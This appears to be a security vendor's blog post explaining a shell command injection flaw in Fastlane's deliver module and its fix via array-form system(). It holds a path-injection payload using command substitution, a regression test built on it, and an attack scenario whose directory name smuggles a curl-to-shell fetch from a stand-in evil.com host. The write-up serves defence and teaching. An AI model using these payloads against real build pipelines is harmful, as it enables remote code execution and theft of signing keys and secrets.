Back to Blog
high SEVERITY6 min read

How shell command injection happens in Ruby and how to fix it

A critical command injection vulnerability was discovered in Fastlane's deliver module where `system("open '#{html_path}'")` allowed shell metacharacters in file paths to execute arbitrary commands. The fix replaces vulnerable string interpolation with array-based argument passing, eliminating the shell entirely.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a shell command injection vulnerability (CWE-78) in Ruby's `system()` call at `deliver/lib/deliver/html_generator.rb:27`. The vulnerable code `system("open '#{html_path}'")` passed user-influenced file paths through shell interpolation, allowing attackers to inject commands via specially crafted paths like `/tmp/foo'$(touch /tmp/pwned).html`. The fix replaces the single-string form with `system("open", html_path)`, passing arguments as an array that bypasses shell interpretation entirely.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUse array-form system() to pass arguments directly without shell interpretation
riskHigh — arbitrary code execution via malicious file paths
languageRuby
root causeSingle-string system() call with unescaped user input in single quotes
vulnerabilityCommand injection via system() shell interpolation

Introduction

In the Fastlane deliver module, we discovered a high-severity command injection vulnerability in deliver/lib/deliver/html_generator.rb that could have allowed attackers to execute arbitrary shell commands through maliciously crafted file paths. The vulnerable code at line 27 used Ruby's system() function with string interpolation to open an HTML preview file:

system("open '#{html_path}'")

This pattern is deceptively dangerous. While the single quotes around #{html_path} might appear to provide protection, they create a false sense of security. When html_path contains carefully constructed characters, the resulting shell command can be hijacked to execute attacker-controlled code. This is particularly concerning in Fastlane's context, where deliver automates app store deployments and the HTML preview path could originate from various sources in the build environment.

The Vulnerability Explained

The vulnerability resides in the HTMLGenerator#run method, which generates and displays an HTML preview of app store metadata before upload. Here's the exact vulnerable code:

# deliver/lib/deliver/html_generator.rb:27 (BEFORE)
system("open '#{html_path}'")

Why This Pattern Is Dangerous

Ruby's system() has two distinct calling conventions:

  1. Single string form: system("command arg1 arg2") — invokes the shell to parse the command
  2. Array form: system("command", "arg1", "arg2") — executes directly without shell invocation

The vulnerable code uses the first form, which means /bin/sh -c "open '#{html_path}'" is executed. The single quotes in the Ruby string become literal single quotes in the shell command. An attacker who controls html_path can break out of these quotes with a payload like:

html_path = "/tmp/foo'$(touch /tmp/pwned).html"

This results in the shell command:

open '/tmp/foo'$(touch /tmp/pwned).html'

The shell interprets $(touch /tmp/pwned) as a command substitution, executing touch /tmp/pwned before the open command runs. More destructive payloads could exfiltrate environment variables, install backdoors, or pivot to other attacks.

Real-World Attack Scenario

Consider a CI/CD pipeline using Fastlane deliver. An attacker with access to the build environment could:

  1. Create a malicious workspace directory: mkdir -p "/tmp/build'; curl -s https://evil.com/s | sh #"
  2. Configure Fastlane to generate previews in this path
  3. When deliver runs, the html_path contains shell metacharacters
  4. The system() call executes the attacker's payload during what appears to be a legitimate preview step

The malicious command runs with the privileges of the CI/CD process, potentially compromising signing certificates, API keys, and production deployment capabilities.

The Fix

The remediation replaces the vulnerable single-string system() call with the array form that passes arguments directly without shell interpretation:

Before (Vulnerable)

# deliver/lib/deliver/html_generator.rb:27
system("open '#{html_path}'")

After (Fixed)

# deliver/lib/deliver/html_generator.rb:27
system("open", html_path)

Why This Change Works

The array form system("open", html_path) invokes open directly with html_path as a literal argument—no shell is involved. Even if html_path contains malicious characters like $(...), `...`, ;, or |, they are treated as literal filename characters, not shell syntax.

This is a behavior-preserving security fix: the open command still receives the same two arguments ("open" and the file path), but the execution path now bypasses shell interpretation entirely. The user experience remains identical for legitimate use cases while eliminating the injection vector.

Regression Test

The pull request includes a targeted regression test that verifies the security boundary:

describe :run do
  it "passes html_path as a separate argument to system, not via shell interpolation" do
    options = { force: false }
    screenshots = []
    malicious_path = "/tmp/foo'$(touch /tmp/pwned).html"

    allow(generator).to receive(:render).and_return(malicious_path)
    allow(FastlaneCore::UI).to receive(:important)
    allow(FastlaneCore::UI).to receive(:confirm).and_return(true)
    allow(FastlaneCore::UI).to receive(:success)
    expect(generator).to receive(:system).with("open", malicious_path)

    generator.run(options, screenshots)
  end
end

This test uses a classic command injection payload and asserts that system receives two separate arguments, not a single interpolated string. It will fail if the code reverts to shell interpolation, providing immediate detection of regression.

Prevention & Best Practices

Ruby Execution Safety Rules

Dangerous Pattern Safe Alternative
system("cmd #{input}") system("cmd", input)
system("cmd '#{input}'") system("cmd", input)
`cmd #{input}` Open3.capture2("cmd", input)
exec("cmd #{input}") exec("cmd", input)
%x{cmd #{input}} Open3.capture2("cmd", input)

Defense in Depth

  1. Prefer array forms: Always use system([env], command, arg1, arg2, options) or system(command, arg1, arg2) over string interpolation
  2. Avoid shell when possible: For complex pipelines, use Open3.pipeline or IO.popen with array arguments rather than shell redirections
  3. Validate paths: Even with safe APIs, validate that paths are within expected directories using Pathname#realpath or File.expand_path checks
  4. Audit for injection: Search for patterns like system\s*\(\s*["'][^"']*#{or use Semgrep'sruby.lang.security.dangerous-exec` rules

Detection Tools

  • Semgrep: ruby.lang.security.dangerous-exec.dangerous-exec — flags non-static commands in system, exec, `, %x{}
  • Brakeman: Detects command injection in Rails applications
  • CodeQL: rb/command-injection — tracks tainted data to execution sinks

Key Takeaways

  • Never use single-string system() with user-influenced data: Even with single quotes, shell interpolation creates injection opportunities that are difficult to fully sanitize
  • HTMLGenerator#run now uses array-form system("open", html_path): This specific method in Fastlane's deliver module was hardened against path-based command injection
  • The fix removes an exploit primitive: While this vulnerability required control over file paths, removing the shell execution primitive raises the bar against automated exploit chaining
  • Array arguments are the Ruby idiomatic security pattern: They eliminate an entire class of vulnerabilities at the API level without requiring complex input validation
  • Regression tests should verify security boundaries, not just functionality: The test validates that system receives separate arguments, catching reintroduction of the vulnerable pattern

How Orbis AppSec Detected This

Aspect Detail
Source The html_path variable, which derives from user-configurable output paths in Fastlane deliver options
Sink system("open '#{html_path}'") at deliver/lib/deliver/html_generator.rb:27
Missing control No sanitization or validation of shell metacharacters; use of dangerous single-string system() form
CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix Replaced shell-interpolated string with array-form system("open", html_path) to bypass shell interpretation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection vulnerabilities in Ruby often hide in plain sight, disguised by seemingly protective quoting patterns. The Fastlane deliver fix demonstrates that the only robust defense is architectural: eliminating shell interpretation entirely through array-form APIs. For developers maintaining Ruby applications, this case serves as a reminder to audit all system, exec, backtick, and %x{} calls—especially those handling file paths that may originate from external configuration. The minimal code change from system("open '#{path}'") to system("open", path) represents a fundamental security improvement that protects against an entire class of attacks.

References

  • CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html
  • OWASP Command Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Command_Injection_Prevention_Cheat_Sheet.html
  • Ruby Kernel#system documentation — https://ruby-doc.org/core/Kernel.html#method-i-system
  • Semgrep rule: ruby.lang.security.dangerous-exec.dangerous-exec — https://semgrep.dev/r?q=ruby.lang.security.dangerous-exec.dangerous-exec
  • harden: detected non-static command inside system in...

Frequently Asked Questions

What is command injection via system()?

It's a vulnerability where user-controlled input reaches a system() call in a way that allows shell metacharacters to execute arbitrary commands. In Ruby, `system("command #{input}")` is vulnerable while `system("command", input)` is safe.

How do you prevent command injection in Ruby?

Always use the array form of system(): `system("command", arg1, arg2)` instead of string interpolation. This passes arguments directly to the command without shell interpretation. For file paths, use `system("open", path)` not `system("open '#{path}'")`.

What CWE is command injection via system()?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

No. While validation helps, the only robust defense is avoiding shell interpretation entirely. Even "safe" characters can be bypassed, and validation logic often misses edge cases. Use array-form system() or `execve`-style APIs that don't invoke a shell.

Can static analysis detect command injection?

Yes. Semgrep's `ruby.lang.security.dangerous-exec.dangerous-exec` rule specifically flags non-static commands inside system() and other execution functions. Tools like Brakeman and CodeQL also detect these patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #30147

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.